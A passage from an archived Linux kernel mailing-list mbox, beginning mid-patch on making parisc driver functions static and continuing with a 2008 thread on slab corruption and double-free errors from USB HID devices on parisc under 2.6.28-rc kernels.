 DINO_PORT_OUT(l, 32, 0)
 
-struct pci_port_ops dino_port_ops = {
+static struct pci_port_ops dino_port_ops = {
 	.inb	= dino_in8,
 	.inw	= dino_in16,
 	.inl	= dino_in32,
@@ -690,7 +690,7 @@ dino_fixup_bus(struct pci_bus *bus)
 }
 
 
-struct pci_bios_ops dino_bios_ops = {
+static struct pci_bios_ops dino_bios_ops = {
 	.init		= dino_bios_init,
 	.fixup_bus	= dino_fixup_bus
 };
diff -puN drivers/parisc/hppb.c~drivers-parisc-make-code-static drivers/parisc/hppb.c
--- a/drivers/parisc/hppb.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/hppb.c
@@ -29,7 +29,7 @@ struct hppb_card {
 	struct hppb_card *next;
 };
 
-struct hppb_card hppb_card_head = {
+static struct hppb_card hppb_card_head = {
 	.hpa = 0,
 	.next = NULL,
 };
diff -puN drivers/parisc/lasi.c~drivers-parisc-make-code-static drivers/parisc/lasi.c
--- a/drivers/parisc/lasi.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/lasi.c
@@ -107,7 +107,7 @@ lasi_init_irq(struct gsc_asic *this_lasi
 
 #else
 
-void __init lasi_led_init(unsigned long lasi_hpa)
+static void __init lasi_led_init(unsigned long lasi_hpa)
 {
 	unsigned long datareg;
 
@@ -163,8 +163,7 @@ static void lasi_power_off(void)
 	gsc_writel(0x02, datareg);
 }
 
-int __init
-lasi_init_chip(struct parisc_device *dev)
+static int __init lasi_init_chip(struct parisc_device *dev)
 {
 	extern void (*chassis_power_off)(void);
 	struct gsc_asic *lasi;
diff -puN drivers/parisc/lba_pci.c~drivers-parisc-make-code-static drivers/parisc/lba_pci.c
--- a/drivers/parisc/lba_pci.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/lba_pci.c
@@ -824,7 +824,7 @@ lba_fixup_bus(struct pci_bus *bus)
 }
 
 
-struct pci_bios_ops lba_bios_ops = {
+static struct pci_bios_ops lba_bios_ops = {
 	.init =		lba_bios_init,
 	.fixup_bus =	lba_fixup_bus,
 };
diff -puN drivers/parisc/sba_iommu.c~drivers-parisc-make-code-static drivers/parisc/sba_iommu.c
--- a/drivers/parisc/sba_iommu.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/sba_iommu.c
@@ -561,7 +561,7 @@ typedef unsigned long space_t;
  * IOMMU uses little endian for the pdir.
  */
 
-void SBA_INLINE
+static void SBA_INLINE
 sba_io_pdir_entry(u64 *pdir_ptr, space_t sid, unsigned long vba,
 		  unsigned long hint)
 {
@@ -1874,7 +1874,7 @@ static struct parisc_device_id sba_tbl[]
 	{ 0, }
 };
 
-int sba_driver_callback(struct parisc_device *);
+static int sba_driver_callback(struct parisc_device *);
 
 static struct parisc_driver sba_driver = {
 	.name =		MODULE_NAME,
@@ -1887,8 +1887,7 @@ static struct parisc_driver sba_driver =
 ** If so, initialize the chip and tell other partners in crime they
 ** have work to do.
 */
-int
-sba_driver_callback(struct parisc_device *dev)
+static int sba_driver_callback(struct parisc_device *dev)
 {
 	struct sba_device *sba_dev;
 	u32 func_class;
diff -puN drivers/parisc/wax.c~drivers-parisc-make-code-static drivers/parisc/wax.c
--- a/drivers/parisc/wax.c~drivers-parisc-make-code-static
+++ a/drivers/parisc/wax.c
@@ -68,8 +68,7 @@ wax_init_irq(struct gsc_asic *wax)
 //	gsc_writel(0xFFFFFFFF, base+0x2000); /* RS232-B on Wax */
 }
 
-int __init
-wax_init_chip(struct parisc_device *dev)
+static int __init wax_init_chip(struct parisc_device *dev)
 {
 	struct gsc_asic *wax;
 	struct parisc_device *parent;
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: 2.6.28-rc2: USB/INPUT: slab error in cache_alloc_debugcheck_after(): double free?
Date: Fri, 31 Oct 2008 00:11:08 +0100
Lines: 118
Approved: news@gmane.org
Message-ID: <200810310011.08618.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1225408309 27339 80.91.229.12 (30 Oct 2008 23:11:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 30 Oct 2008 23:11:49 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: linux-input@vger.kernel.org, linux-kernel@vger.kernel.org
Original-X-From: linux-input-owner@vger.kernel.org Fri Oct 31 00:12:51 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Kvgh2-0002Pj-Eh
	for glki-linux-input-2@gmane.org; Fri, 31 Oct 2008 00:12:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753744AbYJ3XLe (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Thu, 30 Oct 2008 19:11:34 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754202AbYJ3XLe
	(ORCPT <rfc822;linux-input-outgoing>);
	Thu, 30 Oct 2008 19:11:34 -0400
Original-Received: from mail.gmx.net ([213.165.64.20]:59094 "HELO mail.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1753388AbYJ3XLc (ORCPT <rfc822;linux-input@vger.kernel.org>);
	Thu, 30 Oct 2008 19:11:32 -0400
Original-Received: (qmail invoked by alias); 30 Oct 2008 23:11:30 -0000
Original-Received: from mnhm-590f5467.pool.einsundeins.de (EHLO p100.box) [89.15.84.103]
  by mail.gmx.net (mp052) with SMTP; 31 Oct 2008 00:11:30 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX185OVpu6cI5pWaO89i+sPRn0dQZr8oREiH4mFEPPp
	4B8/NTbB7olReU
User-Agent: KMail/1.9.7
X-Face: &[jmHH-Dw>Aj):"[/t-VasJu+(5eP`/LEckV7V"JV,!nBy[6(/?#8M>x`5xzg/7:FkM.l@
	13<&9'nfV3"OkD~P)@j{P2=(uB7J(){:CcrM2jZeA+IBq?FUTp3c8Y{t+k<95mZf~[v"':
	t"f6wKtHUPFB&/]Z5^?9~IQs=16R;Pg"NS9JD=DK!ft&4b@S~&q/MfI3;qWqlg7Q1==jS4
	9V5OJkm$WQ[dc^_Y']DvibvMjizUZ]+'Jd4UnM><yrT}Rw(
Content-Disposition: inline
X-Y-GMX-Trusted: 0
X-FuHaFi: 0.53
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5885 gmane.linux.kernel:751593 gmane.linux.ports.parisc:812
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/812>

I noticed various slab errors with complete kernel crashes with my USB keyboard/mouse on a 32bit parisc machine with both 2.6.28-rc1 and -rc2.
Kernel 2.6.27 was still OK.

Linux kernel bootlog shows:
---------------
ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
ohci_hcd 0000:00:0e.2: OHCI Host Controller
ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf2007000
usb usb1: configuration #1 chosen from 1 choice
hub 1-0:1.0: USB hub found
hub 1-0:1.0: 3 ports detected
usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
usb usb1: Product: OHCI Host Controller
usb usb1: Manufacturer: Linux 2.6.28-rc2 ohci_hcd
usb usb1: SerialNumber: 0000:00:0e.2
uhci_hcd: USB Universal Host Controller Interface driver


After sucessful bootup (without any USB devices attached)
I get this when I insert a USB keyboard:
---------------
usb 1-1: new low speed USB device using ohci_hcd and address 2
usb 1-1: configuration #1 chosen from 1 choice
input: SILITEK USB Keyboard and Mouse as /class/input/input0
Slab corruption: size-4096 start=8dd9b000, len=4096
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
generic-usb 0004:047B:0002.0001: input,hidraw0: USB HID v1.00 Keyboard [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-1/input0
input: SILITEK USB Keyboard and Mouse as /class/input/input1
generic-usb 0003:047B:0002.0002: input,hidraw1: USB HID v1.00 Mouse [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-1/input1
usb 1-1: New USB device found, idVendor=047b, idProduct=0002
usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
usb 1-1: Product: USB Keyboard and Mouse
usb 1-1: Manufacturer: SILITEK


Similiar when I insert a mouse:
------------------
usb 1-1: new low speed USB device using ohci_hcd and address 2
usb 1-1: configuration #1 chosen from 1 choice
input: Logitech N48 as /class/input/input0
Slab corruption: shmem_inode_cache start=8bd9daa0, len=640
Redzone: 0x0/0x9f911029d74e35b.
Last user: [<00000000>](0x0)
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Prev obj: start=8bd9d870, len=640
Redzone: 0x6b6b6b6b6b6b6b6b/0x0.
Last user: [<00000000>](0x0)
000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
slab error in cache_alloc_debugcheck_after(): cache `shmem_inode_cache': double free, or memory outside objecn
Backtrace:
 [<101a4e84>] cache_alloc_debugcheck_after+0xd8/0x200
 [<101a540c>] kmem_cache_alloc+0x1a0/0x1e8
 [<101a26e4>] shmem_alloc_inode+0x18/0x34
 [<101be158>] alloc_inode+0x28/0x238
 [<101bf204>] new_inode+0x20/0xc0
 [<101a0eb8>] shmem_get_inode+0x34/0x1ac
 [<101a1be0>] shmem_symlink+0x60/0x260
 [<101b6034>] vfs_symlink+0x74/0xc8
 [<101b6118>] sys_symlinkat+0x90/0xfc
 [<101190c0>] syscall_exit+0x0/0x28

8bd9da98: redzone 1:0x0, redzone 2:0x9f911029d74e35b
Slab corruption: size-4096 start=8bd18000, len=4096
000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
generic-usb 0003:046D:C001.0001: input,hidraw0: USB HID v1.00 Mouse [Logitech N48] on usb-0000:00:0e.2-1/inpu0
usb 1-1: New USB device found, idVendor=046d, idProduct=c001
usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
usb 1-1: Product: N48
usb 1-1: Manufacturer: Logitech


On 2.6.28-rc1 I saw e.g. this:
--------------------
usbcore: registered new interface driver usbhid
usbhid: v2.6:USB HID core driver
usb 1-1: new low speed USB device using ohci_hcd and address 2
usb 1-1: configuration #1 chosen from 1 choice
input: Logitech N48 as /class/input/input0
generic-usb 0003:046D:C001.0001: input,hidraw0: USB HID v1.00 Mouse 
[Logitech N48] on usb-0000:00:0e.2-1/inpu0
usb 1-1: New USB device found, idVendor=046d, idProduct=c001
usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
usb 1-1: Product: N48
usb 1-1: Manufacturer: Logitech
usb 1-2: new low speed USB device using ohci_hcd and address 3
usb 1-2: configuration #1 chosen from 1 choice
slab error in cache_alloc_debugcheck_after(): cache `size-512': double free, or memory outside object was oven
Backtrace:
   [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
   [<101a5cac>] kmem_cache_alloc+0x1a0/0x1e8
   [<1042e294>] hid_register_report+0x60/0xc4
   [<1042e5f8>] hid_add_field+0x40/0x1a4
   [<1042ec40>] hid_parser_main+0x94/0xc4

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 2.6.28-rc2: USB/INPUT: slab error in cache_alloc_debugcheck_after():
 double free?
Date: Fri, 31 Oct 2008 02:10:04 +0100 (CET)
Lines: 125
Approved: news@gmane.org
Message-ID: <alpine.LRH.1.10.0810310209410.7585@twin.jikos.cz>
References: <200810310011.08618.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1225415425 12811 80.91.229.12 (31 Oct 2008 01:10:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Oct 2008 01:10:25 +0000 (UTC)
Cc: linux-input@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-input-owner@vger.kernel.org Fri Oct 31 02:11:26 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KviXs-0000WM-FH
	for glki-linux-input-2@gmane.org; Fri, 31 Oct 2008 02:11:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753572AbYJaBKO (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Thu, 30 Oct 2008 21:10:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753524AbYJaBKN
	(ORCPT <rfc822;linux-input-outgoing>);
	Thu, 30 Oct 2008 21:10:13 -0400
Original-Received: from twin.jikos.cz ([213.151.79.26]:55330 "EHLO twin.jikos.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753200AbYJaBKL (ORCPT <rfc822;linux-input@vger.kernel.org>);
	Thu, 30 Oct 2008 21:10:11 -0400
Original-Received: from twin.jikos.cz (jikos@twin [127.0.0.1])
	by twin.jikos.cz (8.13.6/8.13.6) with ESMTP id m9V1A5v8020818
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 31 Oct 2008 02:10:06 +0100
Original-Received: from localhost (jikos@localhost)
	by twin.jikos.cz (8.13.6/8.13.6/Submit) with ESMTP id m9V1A4Pl020806;
	Fri, 31 Oct 2008 02:10:05 +0100
X-Authentication-Warning: twin.jikos.cz: jikos owned process doing -bs
X-X-Sender: jikos@twin.jikos.cz
In-Reply-To: <200810310011.08618.deller@gmx.de>
User-Agent: Alpine 1.10 (LRH 962 2008-03-14)
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5887 gmane.linux.kernel:751635 gmane.linux.ports.parisc:813
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/813>

On Fri, 31 Oct 2008, Helge Deller wrote:

> I noticed various slab errors with complete kernel crashes with my USB keyboard/mouse on a 32bit parisc machine with both 2.6.28-rc1 and -rc2.
> Kernel 2.6.27 was still OK.
> 
> Linux kernel bootlog shows:
> ---------------
> ohci_hcd: USB 1.1 'Open' Host Controller (OHCI) Driver
> ohci_hcd 0000:00:0e.2: OHCI Host Controller
> ohci_hcd 0000:00:0e.2: new USB bus registered, assigned bus number 1
> ohci_hcd 0000:00:0e.2: irq 1, io mem 0xf2007000
> usb usb1: configuration #1 chosen from 1 choice
> hub 1-0:1.0: USB hub found
> hub 1-0:1.0: 3 ports detected
> usb usb1: New USB device found, idVendor=1d6b, idProduct=0001
> usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1
> usb usb1: Product: OHCI Host Controller
> usb usb1: Manufacturer: Linux 2.6.28-rc2 ohci_hcd
> usb usb1: SerialNumber: 0000:00:0e.2
> uhci_hcd: USB Universal Host Controller Interface driver
> 
> 
> After sucessful bootup (without any USB devices attached)
> I get this when I insert a USB keyboard:
> ---------------
> usb 1-1: new low speed USB device using ohci_hcd and address 2
> usb 1-1: configuration #1 chosen from 1 choice
> input: SILITEK USB Keyboard and Mouse as /class/input/input0
> Slab corruption: size-4096 start=8dd9b000, len=4096
> 000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> generic-usb 0004:047B:0002.0001: input,hidraw0: USB HID v1.00 Keyboard [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-1/input0
> input: SILITEK USB Keyboard and Mouse as /class/input/input1
> generic-usb 0003:047B:0002.0002: input,hidraw1: USB HID v1.00 Mouse [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-1/input1
> usb 1-1: New USB device found, idVendor=047b, idProduct=0002
> usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
> usb 1-1: Product: USB Keyboard and Mouse
> usb 1-1: Manufacturer: SILITEK
> 
> 
> Similiar when I insert a mouse:
> ------------------
> usb 1-1: new low speed USB device using ohci_hcd and address 2
> usb 1-1: configuration #1 chosen from 1 choice
> input: Logitech N48 as /class/input/input0
> Slab corruption: shmem_inode_cache start=8bd9daa0, len=640
> Redzone: 0x0/0x9f911029d74e35b.
> Last user: [<00000000>](0x0)
> 000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> Prev obj: start=8bd9d870, len=640
> Redzone: 0x6b6b6b6b6b6b6b6b/0x0.
> Last user: [<00000000>](0x0)
> 000: 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b 6b
> 010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> slab error in cache_alloc_debugcheck_after(): cache `shmem_inode_cache': double free, or memory outside objecn
> Backtrace:
>  [<101a4e84>] cache_alloc_debugcheck_after+0xd8/0x200
>  [<101a540c>] kmem_cache_alloc+0x1a0/0x1e8
>  [<101a26e4>] shmem_alloc_inode+0x18/0x34
>  [<101be158>] alloc_inode+0x28/0x238
>  [<101bf204>] new_inode+0x20/0xc0
>  [<101a0eb8>] shmem_get_inode+0x34/0x1ac
>  [<101a1be0>] shmem_symlink+0x60/0x260
>  [<101b6034>] vfs_symlink+0x74/0xc8
>  [<101b6118>] sys_symlinkat+0x90/0xfc
>  [<101190c0>] syscall_exit+0x0/0x28
> 
> 8bd9da98: redzone 1:0x0, redzone 2:0x9f911029d74e35b
> Slab corruption: size-4096 start=8bd18000, len=4096
> 000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> generic-usb 0003:046D:C001.0001: input,hidraw0: USB HID v1.00 Mouse [Logitech N48] on usb-0000:00:0e.2-1/inpu0
> usb 1-1: New USB device found, idVendor=046d, idProduct=c001
> usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
> usb 1-1: Product: N48
> usb 1-1: Manufacturer: Logitech
> 
> 
> On 2.6.28-rc1 I saw e.g. this:
> --------------------
> usbcore: registered new interface driver usbhid
> usbhid: v2.6:USB HID core driver
> usb 1-1: new low speed USB device using ohci_hcd and address 2
> usb 1-1: configuration #1 chosen from 1 choice
> input: Logitech N48 as /class/input/input0
> generic-usb 0003:046D:C001.0001: input,hidraw0: USB HID v1.00 Mouse 
> [Logitech N48] on usb-0000:00:0e.2-1/inpu0
> usb 1-1: New USB device found, idVendor=046d, idProduct=c001
> usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
> usb 1-1: Product: N48
> usb 1-1: Manufacturer: Logitech
> usb 1-2: new low speed USB device using ohci_hcd and address 3
> usb 1-2: configuration #1 chosen from 1 choice
> slab error in cache_alloc_debugcheck_after(): cache `size-512': double free, or memory outside object was oven
> Backtrace:
>    [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
>    [<101a5cac>] kmem_cache_alloc+0x1a0/0x1e8
>    [<1042e294>] hid_register_report+0x60/0xc4
>    [<1042e5f8>] hid_add_field+0x40/0x1a4
>    [<1042ec40>] hid_parser_main+0x94/0xc4

Was Redzone 1 in this case also 0x0 please?

-- 
Jiri Kosina
SUSE Labs

--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jiri Kosina <jkosina@suse.cz>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 2.6.28-rc2: USB/INPUT: slab error in cache_alloc_debugcheck_after():
 double free?
Date: Fri, 31 Oct 2008 03:09:25 +0100 (CET)
Lines: 66
Approved: news@gmane.org
Message-ID: <alpine.LRH.1.10.0810310305000.7585@twin.jikos.cz>
References: <200810310011.08618.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1225418980 21480 80.91.229.12 (31 Oct 2008 02:09:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 Oct 2008 02:09:40 +0000 (UTC)
Cc: linux-input@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, Jiri Slaby <jslaby@suse.cz>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-input-owner@vger.kernel.org Fri Oct 31 03:10:41 2008
connect(): Connection refused
Return-path: <linux-input-owner@vger.kernel.org>
Envelope-to: glki-linux-input-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1KvjTF-0006x6-06
	for glki-linux-input-2@gmane.org; Fri, 31 Oct 2008 03:10:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751615AbYJaCJb (ORCPT <rfc822;glki-linux-input-2@m.gmane.org>);
	Thu, 30 Oct 2008 22:09:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751527AbYJaCJa
	(ORCPT <rfc822;linux-input-outgoing>);
	Thu, 30 Oct 2008 22:09:30 -0400
Original-Received: from twin.jikos.cz ([213.151.79.26]:58584 "EHLO twin.jikos.cz"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750993AbYJaCJ3 (ORCPT <rfc822;linux-input@vger.kernel.org>);
	Thu, 30 Oct 2008 22:09:29 -0400
Original-Received: from twin.jikos.cz (jikos@twin [127.0.0.1])
	by twin.jikos.cz (8.13.6/8.13.6) with ESMTP id m9V29QUq030158
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 31 Oct 2008 03:09:27 +0100
Original-Received: from localhost (jikos@localhost)
	by twin.jikos.cz (8.13.6/8.13.6/Submit) with ESMTP id m9V29PCu030151;
	Fri, 31 Oct 2008 03:09:26 +0100
X-Authentication-Warning: twin.jikos.cz: jikos owned process doing -bs
X-X-Sender: jikos@twin.jikos.cz
In-Reply-To: <200810310011.08618.deller@gmx.de>
User-Agent: Alpine 1.10 (LRH 962 2008-03-14)
Original-Sender: linux-input-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-input.vger.kernel.org>
X-Mailing-List: linux-input@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.input:5888 gmane.linux.kernel:751658 gmane.linux.ports.parisc:814
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/814>

On Fri, 31 Oct 2008, Helge Deller wrote:

> After sucessful bootup (without any USB devices attached)
> I get this when I insert a USB keyboard:
> ---------------
> usb 1-1: new low speed USB device using ohci_hcd and address 2
> usb 1-1: configuration #1 chosen from 1 choice
> input: SILITEK USB Keyboard and Mouse as /class/input/input0
> Slab corruption: size-4096 start=8dd9b000, len=4096
> 000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> 050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
> generic-usb 0004:047B:0002.0001: input,hidraw0: USB HID v1.00 Keyboard [SILITEK USB Keyboard and Mouse] on usb-0000:00:0e.2-1/input0

Looks like something goes wrong somewhere around hid_connect() -- 
hidinput_connect() is called, then slab complains about corruption, and 
then the rest of the code in hid_connect() is executed, priting the 
'generic-usb ...' message.

I can't reproduce it here myself with CONFIG_DEBUG_SLAB=y. Could you 
please send me your config?

It is also quite strange that stacktrace is missing here for some 
reason.

> On 2.6.28-rc1 I saw e.g. this:
> --------------------
> usbcore: registered new interface driver usbhid
> usbhid: v2.6:USB HID core driver
> usb 1-1: new low speed USB device using ohci_hcd and address 2
> usb 1-1: configuration #1 chosen from 1 choice
> input: Logitech N48 as /class/input/input0
> generic-usb 0003:046D:C001.0001: input,hidraw0: USB HID v1.00 Mouse 
> [Logitech N48] on usb-0000:00:0e.2-1/inpu0
> usb 1-1: New USB device found, idVendor=046d, idProduct=c001
> usb 1-1: New USB device strings: Mfr=1, Product=2, SerialNumber=0
> usb 1-1: Product: N48
> usb 1-1: Manufacturer: Logitech
> usb 1-2: new low speed USB device using ohci_hcd and address 3
> usb 1-2: configuration #1 chosen from 1 choice
> slab error in cache_alloc_debugcheck_after(): cache `size-512': double free, or memory outside object was oven
> Backtrace:
>    [<101a5724>] cache_alloc_debugcheck_after+0xd8/0x200
>    [<101a5cac>] kmem_cache_alloc+0x1a0/0x1e8
>    [<1042e294>] hid_register_report+0x60/0xc4
>    [<1042e5f8>] hid_add_field+0x40/0x1a4
>    [<1042ec40>] hid_parser_main+0x94/0xc4

This looks rather incomplete, backtrace starting at hid_parser_main is 
odd.

Also, this seems to happen for different slab cache than the previous 
corrutpion.

-- 
Jiri Kosina
SUSE Labs

--
To unsubscribe from this list: send the line "unsubscribe linux-input" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.kernel.input,gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: 2.6.28-rc2: USB/INPUT: slab error in
 cache_alloc_debugcheck_after(): double free?
Date: Fri, 31 Oct 2008 04:45:53 +0100
Lines: 80
Approved: news@gmane.org
Message-ID: <20081031044553.50882e86@epia.jer-c2.orkz.net>
References: <200810310011.08618.deller@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1225425315 3391 80.91.229.12 (31 Oct 2008 03:55:15 GMT)
